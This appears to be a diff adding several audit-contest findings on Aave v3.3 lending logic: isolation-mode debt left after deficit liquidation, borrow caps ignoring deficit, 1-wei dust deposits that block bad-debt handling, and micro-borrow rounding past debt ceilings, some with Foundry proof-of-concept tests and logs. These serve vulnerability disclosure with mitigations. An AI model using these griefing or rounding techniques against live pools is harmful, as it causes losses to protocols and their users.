+### Impact + +This would effectively lower the debtCeilings of isolation mode assets, because there is unexisting debt that take up `reserveData[].isolationModeTotalDebt`. + +For example, if debtCeiling was 15000 USD, due to this bug, `reserveData[].isolationModeTotalDebt` may be 15000 USD while there is actually no existing debt. This would prevent normal users from borrowing with the isolation mode collateral. + +### PoC + +Add the following code to `Pool.Liquidations.t.sol`. What it does is the following: + +1. Create a position of collateral=0.5 wbtc, debt=11000e6 usdx. Initially, wbtc price = 27000e8, usdx price = 1e8. wbtc has a debt ceiling of 12000 USD, and currently the `isolationModeTotalDebt` for wbtc is 11000 USD. +2. wbtc price drops 40% to 16200, and the position can be liquidated. +3. Fully liquidate position. Since collateral is zero, bad debt turns to deficit, so total collateral and total debt both turn to zero. +4. User no longer has wbtc as collateral, but wbtc's `isolationModeTotalDebt` is still 11000 USD. + +```solidity + function test_poc_isolation_mode() public { + uint256 borrowAmount = 11000e6; + vm.startPrank(poolAdmin); + contracts.poolConfiguratorProxy.setDebtCeiling(tokenList.wbtc, 12_000_00); + contracts.poolConfiguratorProxy.setBorrowableInIsolation(tokenList.usdx, true); + vm.stopPrank(); + + // Step 1: Collateral = 0.5e8 WBTC, Debt = 11000e6 USDX + vm.startPrank(alice); + contracts.poolProxy.supply(tokenList.wbtc, 0.5e8, alice, 0); + contracts.poolProxy.setUserUseReserveAsCollateral(tokenList.wbtc, true); + contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, alice); + vm.stopPrank(); + + console.log("> Initial price:"); + console.log("wbtc price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.wbtc)); + console.log("usdx price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.usdx)); + + // Step 2: WBTC Price drops by 40%. 27000 -> 16200. + LiquidationInput memory params = _loadLiquidationInput( + alice, + tokenList.wbtc, + tokenList.usdx, + UINT256_MAX, + tokenList.wbtc, + 40_00 + ); + + // Step 3: Output logs before liquidation. + console.log("> Current price:"); + console.log("wbtc price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.wbtc)); + console.log("usdx price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.usdx)); + console.log("isolationModeTotalDebt =", contracts.poolProxy.getReserveData(tokenList.wbtc).isolationModeTotalDebt); + + (, , address varDebtToken) = contracts.protocolDataProvider.getReserveTokensAddresses( + params.debtAsset + ); + uint256 userDebtBefore = IERC20(varDebtToken).balanceOf(params.user); + uint256 liquidatorBalanceBefore; + if (params.receiveAToken) { + (address atoken, , ) = contracts.protocolDataProvider.getReserveTokensAddresses( + params.collateralAsset + ); + liquidatorBalanceBefore = IERC20(atoken).balanceOf(bob); + } else { + liquidatorBalanceBefore = IERC20(params.collateralAsset).balanceOf(bob); + } + + { + console.log("> Before liquidation:"); + ( + uint totalCollateralInBaseCurrency, + uint totalDebtInBaseCurrency, + , + , + , + uint healthFactor + ) = contracts.poolProxy.getUserAccountData(params.user); + console.log("totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor =", totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor); + console.log("isolationModeTotalDebt =", contracts.poolProxy.getReserveData(tokenList.wbtc).isolationModeTotalDebt); + } + + // Step 4: Liquidate. + vm.prank(bob); + contracts.poolProxy.liquidationCall( + params.collateralAsset, + params.debtAsset, + params.user, + params.liquidationAmountInput, + params.receiveAToken + ); + + // Step 5: Output logs after liquidation: `isolationModeTotalDebt` is unchanged. + _afterLiquidationChecksVariable(params, bob, liquidatorBalanceBefore, userDebtBefore); + { + console.log("> After liquidation"); + ( + uint totalCollateralInBaseCurrency, + uint totalDebtInBaseCurrency, + , + , + , + uint healthFactor + ) = contracts.poolProxy.getUserAccountData(params.user); + console.log("totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor =", totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor); + console.log("isolationModeTotalDebt =", contracts.poolProxy.getReserveData(tokenList.wbtc).isolationModeTotalDebt); + } + } +``` + +The output of the test is: + +```bash +Ran 1 test for tests/protocol/pool/Pool.Liquidations.t.sol:PoolLiquidationTests +[PASS] test_poc_isolation_mode() (gas: 955167) +Logs: + > Initial price: + wbtc price = 2700000000000 + usdx price = 100000000 + > Current price: + wbtc price = 1620000000000 + usdx price = 100000000 + isolationModeTotalDebt = 1100000 + > Before liquidation: + totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor = 810000000000 1100000000000 633272727272727273 + isolationModeTotalDebt = 1100000 + > After liquidation + totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor = 0 0 115792089237316195423570985008687907853269984665640564039457584007913129639935 + isolationModeTotalDebt = 1100000 +``` + +Note that even though a part of the debt becomes deficit, and is not deducted from `reserveData[].isolationModeTotalDebt`. However, according to the code comment (seen below), the debt that is repayed should at least be deducted. In our PoC, we can see even the repayed part is not deducted. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L370-L372 + +```solidity +@> // IsolationModeTotalDebt only discounts `actualDebtToLiquidate`, not the fully burned amount in case of deficit creation. + // This is by design as otherwise debt debt ceiling would render ineffective if a collateral asset faces bad debt events. + // The governance can decide the raise the ceiling to discount manifested deficit. + IsolationModeLogic.updateIsolatedDebtIfIsolated( + reservesData, + reservesList, + userConfig, + vars.debtReserveCache, + vars.actualDebtToLiquidate + ); +``` + +### Mitigation + +Move the line `userConfig.setUsingAsCollateral(collateralReserve.id, false);` after isolation mode debt update. \ No newline at end of file diff --git a/153.md b/153.md new file mode 100644 index 0000000..09149e1 --- /dev/null +++ b/153.md @@ -0,0 +1,208 @@ +Able Jade Bear + +Medium + +# Borrow cap does not take deficit into account. + + +### Summary + +In Aave, for each reserve, there is a definition of [borrow cap](https://aave.com/docs/primitives/reserve). The borrow cap is used to limit the total amount of a token that can be supplied and borrowed from a reserve. According to the docs, the caps are used for: + +> These caps are crucial for maintaining liquidity and preventing overexposure during volatile market conditions. + +The bug here is, the borrow cap does not take reserve deficit into account, so it is possible that the asset is exposed to larger risks than expected. + +### Root Cause + +In `ValidationLogic.sol`, when validating a borrow action, the reserve deficit is not taken into account. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L174-L190 + +```solidity + vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); + vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); + unchecked { + vars.assetUnit = 10 ** vars.reserveDecimals; + } + + if (vars.borrowCap != 0) { + vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( + params.reserveCache.nextVariableBorrowIndex + ); + + vars.totalDebt = vars.totalSupplyVariableDebt + params.amount; + + unchecked { +@> require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); + } + } +``` + +A possible scenario is: + +1. Borrow cap is 10000 USD +2. User creates a position with 9950 USD debt. +3. User is liquidated, and reserve deficit is 9950 USD. However, variableDebtToken supply is cleared to 0. +4. Another user come and opens another position with 9950 USD. + +Now, even though the borrow cap is 10000 USD, the reserve is facing a total debt of 9950+9950 = 19900 USD. This breaks the invariant of a borrow cap, and exposes the reserve to larger risks. + +### Internal pre-conditions + +1. Due to bad debt liquidation, a certain reserve asset has non-zero deficit that is not yet repayed by the Umbrella. +2. Users taking out borrows and make the total debt exceed the borrow cap. + +Note that the Umbrella does NOT have to immediately clear the deficit, as written here: https://github.com/aave-dao/aave-v3-origin/blob/094e6ec662703dec3ce5f9749527a01dbcbc1c97/docs/3.3/Aave-v3.3-features.md. + +> eliminateReserveDeficit assumes for umbrella to have the tokens to be burned. In case of assets having virtual accounting enabled, aTokens will be burned. In case of virtual accounting being disabled, the underlying will be disposed of. Depending on the coverage asset and reserve configuration(e.g. if coverage is done via underlying, and caps don't allow depositing) it might be that it us not possible to receive the aToken. This is expected and considered a non-issue as the elimination of the deficit has no strict time constraint. + + +### External pre-conditions + +None required. + +### Attack Path + +None required. + +### Impact + +Total debt amount of a token can exceed borrow cap, and expose the reserve to larger risks. + +### PoC + +Add the following code to `Pool.Liquidations.t.sol`. What it does is the following: + +1. Alice creates a position of collateral=0.5e8 WBTC, debt=11000e6 USDX. Initially, WBTC price = 27000e8, USDX price = 1e8. USDX has a borrow cap of 11000 USD. +2. Alice tries to borrow another 1e6 USDX but fails due to borrow cap. +3. WBTC price drops 40% to 16200e8, and the position can be liquidated. +4. Fully liquidate position. Since collateral is zero, bad debt turns to deficit. The amount of deficit is ~3285e6 USDX. +5. Alice tries to open another position with 11000e6 USDX, and still succeed. The total debt is now 3285+11000, which exceeds the borrow cap of 11000 USD. + + +```solidity + + function test_poc_borrow_cap() public { + uint256 borrowAmount = 11000e6; + vm.startPrank(poolAdmin); + contracts.poolConfiguratorProxy.setBorrowCap(tokenList.usdx, 11000); + vm.stopPrank(); + + // Step 1: Collateral = 0.5e8 WBTC, Debt = 11000e6 USDX + vm.startPrank(alice); + contracts.poolProxy.supply(tokenList.wbtc, 0.5e8, alice, 0); + contracts.poolProxy.setUserUseReserveAsCollateral(tokenList.wbtc, true); + contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, alice); + vm.stopPrank(); + + // Step 2: Try to borrow another 1e6 USDX but fails due to borrow cap. + vm.startPrank(alice); + vm.expectRevert(bytes(Errors.BORROW_CAP_EXCEEDED)); + contracts.poolProxy.borrow(tokenList.usdx, 1e6, 2, 0, alice); + vm.stopPrank(); + + console.log("> Initial price:"); + console.log("wbtc price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.wbtc)); + console.log("usdx price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.usdx)); + + // Step 3: WBTC Price drops by 40%. 27000 -> 16200. + LiquidationInput memory params = _loadLiquidationInput( + alice, + tokenList.wbtc, + tokenList.usdx, + UINT256_MAX, + tokenList.wbtc, + 40_00 + ); + + console.log("> Current price:"); + console.log("wbtc price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.wbtc)); + console.log("usdx price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.usdx)); + + (, , address varDebtToken) = contracts.protocolDataProvider.getReserveTokensAddresses( + params.debtAsset + ); + uint256 userDebtBefore = IERC20(varDebtToken).balanceOf(params.user); + uint256 liquidatorBalanceBefore; + if (params.receiveAToken) { + (address atoken, , ) = contracts.protocolDataProvider.getReserveTokensAddresses( + params.collateralAsset + ); + liquidatorBalanceBefore = IERC20(atoken).balanceOf(bob); + } else { + liquidatorBalanceBefore = IERC20(params.collateralAsset).balanceOf(bob); + } + + // Step 4: Output logs before liquidation. + { + console.log("> Before liquidation:"); + ( + uint totalCollateralInBaseCurrency, + uint totalDebtInBaseCurrency, + , + , + , + uint healthFactor + ) = contracts.poolProxy.getUserAccountData(params.user); + console.log("totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor =", totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor); + } + + // Step 5: Liquidate. + vm.prank(bob); + contracts.poolProxy.liquidationCall( + params.collateralAsset, + params.debtAsset, + params.user, + params.liquidationAmountInput, + params.receiveAToken + ); + + _afterLiquidationChecksVariable(params, bob, liquidatorBalanceBefore, userDebtBefore); + + // Step 6: Output logs after liquidation. + { + console.log("> After liquidation"); + ( + uint totalCollateralInBaseCurrency, + uint totalDebtInBaseCurrency, + , + , + , + uint healthFactor + ) = contracts.poolProxy.getUserAccountData(params.user); + console.log("totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor =", totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor); + console.log("USDX Deficit: ", contracts.poolProxy.getReserveDeficit(tokenList.usdx)); + + } + + // Step 7: Alice tries to borrow 11000e6 USDX again, and succeeds. + vm.startPrank(alice); + contracts.poolProxy.supply(tokenList.wbtc, 1e8, alice, 0); + contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, alice); + vm.stopPrank(); + } +``` + +Console output is the following. We can see during the end, with a deficit of 3285e6 USDX, Alice is still able to borrow 11000e6 USDX even though the borrow cap was 11000. The means the total debt exposure exceeded the borrow cap. + +```bash +Ran 1 test for tests/protocol/pool/Pool.Liquidations.t.sol:PoolLiquidationTests +[PASS] test_poc_borrow_cap() (gas: 1054433) +Logs: + > Initial price: + wbtc price = 2700000000000 + usdx price = 100000000 + > Current price: + wbtc price = 1620000000000 + usdx price = 100000000 + > Before liquidation: + totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor = 810000000000 1100000000000 633272727272727273 + > After liquidation + totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor = 0 0 115792089237316195423570985008687907853269984665640564039457584007913129639935 + USDX Deficit: 3285714286 +``` + +### Mitigation + +Always consider `reserve.deficit` when calculating borrow caps. \ No newline at end of file diff --git a/154.md b/154.md new file mode 100644 index 0000000..25e1136 --- /dev/null +++ b/154.md @@ -0,0 +1,213 @@ +Able Jade Bear + +Medium + +# Bad debt handling logic trigger is too strict, even 1 wei of collateral can prevent it from happening + + +### Summary + +In Aave V3.3, the bad debt handling logic is introduced: Whenever liquidating a position, if the user has no collateral left, all remaining debt position is turned into deficit. The deficit does not accrue fees and is independently stored in `reserve.deficit` data. Check [docs](https://github.com/aave-dao/aave-v3-origin/blob/094e6ec662703dec3ce5f9749527a01dbcbc1c97/docs/3.3/Aave-v3.3-features.md#1-bad-debt-management) for more details. + +The issue here is, bad debt handling always requires user collateral to be **exactly** zero. This is too strict, and could easily be frontrun by anyone, by transferring 1 wei of collateral to the liquidatee to prevent the bad debt handling logic from executing. + +Also, by leaving 1 wei as collateral, no liquidator would be incentivized to perform liquidation due to gas cost, thus bad debt would not be handled. + +### Root Cause + +The check for bad debt handling requires the user's totalCollateral in base currency (which has 8 decimals) to be **exactly** equal to the user's total collateral. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L357-L358 + +```solidity + bool hasNoCollateralLeft = vars.totalCollateralInBaseCurrency == + vars.collateralToLiquidateInBaseCurrency; +``` + +Since base currency has 8 decimals, for 1 wei USDC, the `totalCollateralInBaseCurrency` would be 100 (base currency has 8 decimals). This means, for any user that faces a bad debt liquidation: + +1. Attackers can frontrun bad debt liquidation by transferring/supplying 1 wei USDC to the user, and prevent bad debt handling logic. +2. Attackers can prepare 1 wei of all existing reserves and transfer/supply to the user. No one would be incentivized to liquidate a collateral with only 1 wei. + +Note that these are both grief attacks. Attackers don't gain profit themselves, but they can prevent the bad debt logic from working normally. + +Also, it should be noted that by transferring/supplying tokens to other users, as long as they aren't in isolation mode, the token would automatically enable as collateral, as seen in the logic here: https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/SupplyLogic.sol#L76-L86 + +```solidity + function executeSupply( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ExecuteSupplyParams memory params + ) external { + ... + + bool isFirstSupply = IAToken(reserveCache.aTokenAddress).mint( + msg.sender, + params.onBehalfOf, + params.amount, + reserveCache.nextLiquidityIndex + ); + + if (isFirstSupply) { + if ( +@> ValidationLogic.validateAutomaticUseAsCollateral( + reservesData, + reservesList, + userConfig, + reserveCache.reserveConfiguration, + reserveCache.aTokenAddress + ) + ) { +@> userConfig.setUsingAsCollateral(reserve.id, true); + emit ReserveUsedAsCollateralEnabled(params.asset, params.onBehalfOf); + } + } + + emit Supply(params.asset, msg.sender, params.onBehalfOf, params.amount, params.referralCode); + } +``` + +### Internal pre-conditions + +1. A user has a low health factor, and may face full liquidation to generate bad debt. + +### External pre-conditions + +None required. + +### Attack Path + +1. Attackers can frontrun bad debt liquidation by transferring/supplying 1 wei USDC to the user, and prevent bad debt handling logic. +2. Attackers can prepare 1 wei of all existing reserves and transfer/supply to the user. No one would be incentivized to liquidate a collateral with only 1 wei. + +### Impact + +Bad debt handling logic would not be triggered, and these bad debt would keep on accruing interest. + +### PoC + +Add the following code to `Pool.Liquidations.t.sol`. What it does is the following: + +1. Alice creates a position of collateral=0.5e8 WBTC, debt=11000e6 USDX. Initially, WBTC price = 27000e8, USDX price = 1e8. +2. WBTC price drops 40% to 16200e8, and the position can be liquidated. +3. Attacker frontruns liquidation and supplies 1 wei USDX to user. +4. Fully liquidate position with collateralToken=WBTC, debtToken=USDX. However, due to the 1 wei USDX on step 3, bad debt logic is not triggered. +5. User now has 1 wei USDX as collateral. No one would be incentivized to liquidate such position. + + +```solidity + function test_poc_deposit_dust_dos_bad_debt_clearing() public { + uint256 borrowAmount = 11000e6; + + // Step 1: Collateral = 0.5e8 WBTC, Debt = 11000e6 USDX + vm.startPrank(alice); + contracts.poolProxy.supply(tokenList.wbtc, 0.5e8, alice, 0); + contracts.poolProxy.setUserUseReserveAsCollateral(tokenList.wbtc, true); + contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, alice); + vm.stopPrank(); + + console.log("> Initial price:"); + console.log("wbtc price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.wbtc)); + console.log("usdx price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.usdx)); + + // Step 2: WBTC Price drops by 40%. 27000 -> 16200. + LiquidationInput memory params = _loadLiquidationInput( + alice, + tokenList.wbtc, + tokenList.usdx, + UINT256_MAX, + tokenList.wbtc, + 40_00 + ); + + console.log("> Current price:"); + console.log("wbtc price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.wbtc)); + console.log("usdx price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.usdx)); + + (, , address varDebtToken) = contracts.protocolDataProvider.getReserveTokensAddresses( + params.debtAsset + ); + uint256 userDebtBefore = IERC20(varDebtToken).balanceOf(params.user); + uint256 liquidatorBalanceBefore; + if (params.receiveAToken) { + (address atoken, , ) = contracts.protocolDataProvider.getReserveTokensAddresses( + params.collateralAsset + ); + liquidatorBalanceBefore = IERC20(atoken).balanceOf(bob); + } else { + liquidatorBalanceBefore = IERC20(params.collateralAsset).balanceOf(bob); + } + + // Step 3: Output logs before liquidation. + { + console.log("> Before liquidation:"); + ( + uint totalCollateralInBaseCurrency, + uint totalDebtInBaseCurrency, + , + , + , + uint healthFactor + ) = contracts.poolProxy.getUserAccountData(params.user); + console.log("totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor =", totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor); + } + + // Step 4: Carol frontruns the liquidation and supply 1 wei USDX to alice. + vm.startPrank(poolAdmin); + usdx.mint(carol, 1); + vm.stopPrank(); + vm.startPrank(carol); + contracts.poolProxy.supply(tokenList.usdx, 1, alice, 0); + vm.stopPrank(); + + // Step 5: Liquidate coll=WBTC, debt=USDX position. + vm.prank(bob); + contracts.poolProxy.liquidationCall( + params.collateralAsset, + params.debtAsset, + params.user, + params.liquidationAmountInput, + params.receiveAToken + ); + + _afterLiquidationChecksVariable(params, bob, liquidatorBalanceBefore, userDebtBefore); + + // Step 6: Output logs after liquidation: Alice still has 100 `totalCollateralInBaseCurrency` and deficit was not created due to Carol's frontrun. + { + console.log("> After liquidation"); + ( + uint totalCollateralInBaseCurrency, + uint totalDebtInBaseCurrency, + , + , + , + uint healthFactor + ) = contracts.poolProxy.getUserAccountData(params.user); + console.log("totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor =", totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor); + } + } +``` + +Console output is the following. We can see that the bad debt handling logic did not trigger, and user still has 100 wei of `totalCollateralInBaseCurrency`, due to the 1 wei USDX deposit. + +```bash +Ran 1 test for tests/protocol/pool/Pool.Liquidations.t.sol:PoolLiquidationTests +[PASS] test_poc_deposit_dust_dos_bad_debt_clearing() (gas: 1003843) +Logs: + > Initial price: + wbtc price = 2700000000000 + usdx price = 100000000 + > Current price: + wbtc price = 1620000000000 + usdx price = 100000000 + > Before liquidation: + totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor = 810000000000 1100000000000 633272727272727273 + > After liquidation + totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor = 100 328571428600 261739130 + +``` + +### Mitigation + +Loosen the collateral requirement for bad debt handling. \ No newline at end of file diff --git a/155.md b/155.md new file mode 100644 index 0000000..e0c56fd --- /dev/null +++ b/155.md @@ -0,0 +1,114 @@ +Fast Rouge Owl + +Medium + +# Rounding Exploit in Isolation Mode Lets User Exceed the Debt Ceiling + +# Micro-Borrow Rounding Exploit in Isolation Mode + +### Summary + +A user can exceed the isolation mode debt ceiling by repeatedly borrowing amounts too small to increment `isolationModeTotalDebt` due to integer division flooring. Although the exploit may seem minor on Ethereum mainnet (where gas fees are high), it becomes *far more feasible on low-gas networks* (Polygon, Arbitrum, Optimism, Base) or if the attacker batches many micro-borrows in a **single** transaction/rollup. This undermines the debt ceiling’s purpose and can expose the protocol to undercollateralized risk. + +--- + +## Root Cause + +When a user borrows in isolation mode, the code updates `isolationModeTotalDebt` as follows: +```solidity +isolationModeTotalDebt += ( + params.amount / 10^(reserveDecimals - DEBT_CEILING_DECIMALS) +).toUint128(); +``` +If `params.amount` is smaller than `10^(reserveDecimals - DEBT_CEILING_DECIMALS)`, integer division produces `0`, *failing* to increase the total debt count. An attacker can exploit this by performing multiple tiny borrows, each individually floored to `0` increment. + +--- + +## Attack Scenario + +1. **Isolation Collateral** + - The user provides collateral in isolation mode, which has a set `debtCeiling`. + +2. **Repeated Micro-Borrows** + - They call `executeBorrow(...)` multiple times with an amount `x` such that `(x / scale) == 0` after integer division. For instance, if `scale = 100`, they can repeatedly borrow 99 units. + +3. **No Increase in `isolationModeTotalDebt`** + - Since `(99 / 100) = 0`, the debt ceiling value never increments. The protocol “thinks” the user’s total borrowed amount in isolation mode remains 0 (or near zero). + +4. **High Aggregate Debt** + - With enough micro-borrows (especially cheap on L2 or batched in a single transaction), the user accumulates a large total borrowed balance. + - Meanwhile, `isolationModeTotalDebt` is not updated accordingly, so the user remains under the official isolation debt ceiling threshold. + +5. **Potential Under-Collateralization** + - If the user accumulates far more debt than the protocol’s intended limit, the risk model for that isolated collateral breaks. In worst-case scenarios, it could lead to a deficit if liquidation is insufficient. + +--- + +## Why It would be a Concern + +1. **L2 / Sidechain Feasibility** + - On networks like Polygon, Arbitrum, Optimism, Base, or any low-gas environment, repeatedly calling small borrows can be **cheap** enough to outweigh interest. Even on mainnet, a single batched transaction (via multicall) could bundle many small borrows. + +2. **Defeats Debt Ceiling’s Core Purpose** + - The entire point of the ceiling is to cap total debt for certain high-risk collateral. If micro-borrows circumvent that cap, the protocol’s isolation mechanism is effectively undone. + +3. **Single-Block or Single-Tx Accumulation** + - A specialized smart contract can chain hundreds of tiny borrows in one transaction. The user pays gas once, effectively making the cost *less* prohibitive. + +4. **User Can Exit Quickly** + - If the user sees market conditions deteriorate, they can repay or vanish with the borrowed liquidity. The protocol sees no forced coverage because it never recognized the correct total isolation debt in time. + +5. **Not Fully Mitigated by “Dust Minimum”** + - While certain front-ends impose minimum borrow sizes, a determined attacker or advanced user can call the pool contract directly with micro-borrows. This is a likely scenario for sophisticated MEV or arbing bots. + +--- + +## Impact + +- **Bypassing a Core Risk Control**: The user’s real borrowed amount can climb well above the debt ceiling. +- **Exposure to Bad Debt**: If the user’s position becomes undercollateralized and the protocol believed the ceiling prevented it from happening, the protocol might be slow to respond or to trigger protective measures. +- **Governance / Risk Team Surprise**: If the community relies on “X million” as the total maximum debt, but an attacker surpasses it, they could cause unexpected shortfalls in worst-case scenarios. + +--- + +## Proof of Concept (Simplified) + +```solidity +// Suppose the isolation asset has decimals=18, DEBT_CEILING_DECIMALS=16 => scale=10^(18-16)=100. +// Borrow 99 tokens repeatedly: +uint256 microBorrow = 99; +// 99 / 100 = 0 => isolationModeTotalDebt += 0 + +// The user accumulates 9900 tokens after 100 calls in one transaction, +// but isolationModeTotalDebt is still unchanged (0 or near 0). +``` + +--- + +## Mitigation Options + +1. **Minimum Borrow Enforcement** + ```solidity + require( + (params.amount / 10**(reserveDecimals - DEBT_CEILING_DECIMALS)) > 0, + "Cannot borrow below increment threshold" + ); + ``` + Prevent any borrow that doesn’t at least increment the isolation total by 1. + +2. **Accumulate Remainders** + - Track the “fractional leftover” from each division and add it to a stored “remainder.” Once it exceeds 1 in scaled terms, increment the `isolationModeTotalDebt`. This ensures 100 micro-borrows still add up to 1 or more eventually. + +3. **Front-End / Contract Batching Limits** + - Official Aave front-ends (and widely used integrators) can disallow small borrows, but an on-chain solution would be safer, as advanced users can skip the UI. + +--- + +## Addressing It Is Beneficial + +- **Enhances Risk Model Integrity** + The isolation mode’s debt ceiling becomes robust against corner-case gaming. +- **Protects on L2** + As Aave expands to cheaper chains, this scenario grows more plausible. +- **Keeps Aave’s Codebase Consistent** + The fix is straightforward and does not significantly add complexity. diff --git a/156.md b/156.md new file mode 100644 index 0000000..b04858b --- /dev/null +++ b/156.md @@ -0,0 +1,72 @@ +Little Lead Barracuda + +Medium + +# Griefers can purposefully supply dust values so that bad debt mechanism cannot be triggered. + +### Summary +With the V3.3 update, AAVE introduces new logic in regards to bad debt. When a user is getting liquidated, in case they have more outstanding debt, but no more collateral (in base units), all of their debt should be cleared as bad debt (so it does not keep on accruing interest) and in order to account for it, `deficit` accounting is introduced. + +```solidity + // burn bad debt if necessary + // Each additional debt asset already adds around ~75k gas to the liquidation. + // To keep the liquidation gas under control, 0 usd collateral positions are not touched, as there is no immediate benefit in burning or transferring to treasury. + if (hasNoCollateralLeft && userConfig.isBorrowingAny()) { + _burnBadDebt(reservesData, reservesList, userConfig, params.reservesCount, params.user); + } +``` + +For example, let's consider the user has $5,000 in WBTC debt and $4,000 in WETH collateral. +1. Before the user gets liquidated, the griefer can supply 1 wei of USDT and 1 wei of USDC to the to-be-liquidated user. (this can also be done by the liquidator himself) +2. Liquidation happens and user gets liquidated for their entire $4,000 collateral. Due to the donated weis (which are each worth ~100 wei in base asset), bad debt is not cleared. User still has ~$1,000 of WBTC debt +3. If a user wants to liquidate the 1 wei collateral of either of the assets in order to trigger the bad debt logic, they can't. When calculating the corresponding debt that would need to be burned, it would round down to 0 (since USDT: WBTC value are ~1:1000). Variable Debt Tokens revert on 0-value burns and therefore the tx would revert. Bad debt logic cannot be triggered. + +```solidity + function _burnDebtTokens( + DataTypes.ReserveCache memory debtReserveCache, + DataTypes.ReserveData storage debtReserve, + DataTypes.UserConfigurationMap storage userConfig, + address user, + address debtAsset, + uint256 userReserveDebt, + uint256 actualDebtToLiquidate, + bool hasNoCollateralLeft + ) internal { + // Prior v3.1, there were cases where, after liquidation, the `isBorrowing` flag was left on + // even after the user debt was fully repaid, so to avoid this function reverting in the `_burnScaled` + // (see ScaledBalanceTokenBase contract), we check for any debt remaining. + if (userReserveDebt != 0) { + debtReserveCache.nextScaledVariableDebt = IVariableDebtToken( + debtReserveCache.variableDebtTokenAddress + ).burn( + user, + hasNoCollateralLeft ? userReserveDebt : actualDebtToLiquidate, + debtReserveCache.nextVariableBorrowIndex + ); + } +``` + +```solidity + function _burnScaled(address user, address target, uint256 amount, uint256 index) internal { + uint256 amountScaled = amount.rayDiv(index); + require(amountScaled != 0, Errors.INVALID_BURN_AMOUNT); +``` + +Note: this could be handled by the liquidator donating aTokens to the user. However, this behaviour is unexpected and not documented anywhere, therefore had this issue not been reported, liquidators would not be aware of this mechanic and liquidations would simply fail. It is reasonable to believe by the time the problem is figured out and liquidator acts correctly, the extra accrued yield would exceed 0.01% or $10, which is the requirement for Medium severity. + +Issue also breaks the following invariant: +> Create a situation in which a position that should be liquidated can no longer be liquidated + + +### Root Cause +Protocol attempts to burn 0 debt tokens. + + +### Impact +Bad debt mechanism cannot be triggered and debt continues to accrue interest. + +### Affected Code +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L544 + +### Mitigation +Do not do 0-value burns. \ No newline at end of file diff --git a/157.md b/157.md new file mode 100644 index 0000000..5c9fd53 --- /dev/null +++ b/157.md @@ -0,0 +1,47 @@ +Clever Chili Halibut + +Medium + +# Debt Ceiling Logic + +#Description + +#Summary + +In the https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60 function, the +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L110 calculations does not check if the resulting value exceeds the https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L75 + +#Vulnerability details + +The function executeBorrow has a Debt Ceiling Logic vulnerability in the calculation of nextIsolationModeTotalDebt. Specifically, it does not validate whether the nextIsolationModeTotalDebt exceeds the isolationModeDebtCeiling. The calculation increases the isolationModeTotalDebt based on the borrow amount but does not ensure that the updated isolationModeTotalDebt remains within the isolationModeDebtCeiling. + +#Impact + +If isolationModeTotalDebt exceeds isolationModeDebtCeiling: + +Bypassing Isolation Mode Constraints: The debt ceiling is a critical safeguard in isolation mode, designed to limit the total borrowable debt backed by a specific type of collateral. Exceeding this ceiling undermines the risk mitigation intended by isolation mode. + +Overexposure: The protocol could become overexposed to volatile or illiquid collateral. If the value of the isolated collateral drops, it may not sufficiently cover the outstanding debt, leading to losses for the protocol or its users. + +Systemic Risk: Overexposure to risky assets or illiquid markets can lead to cascading liquidations or insolvencies, potentially destabilizing the protocol. + +#Tools used + +Manual review + 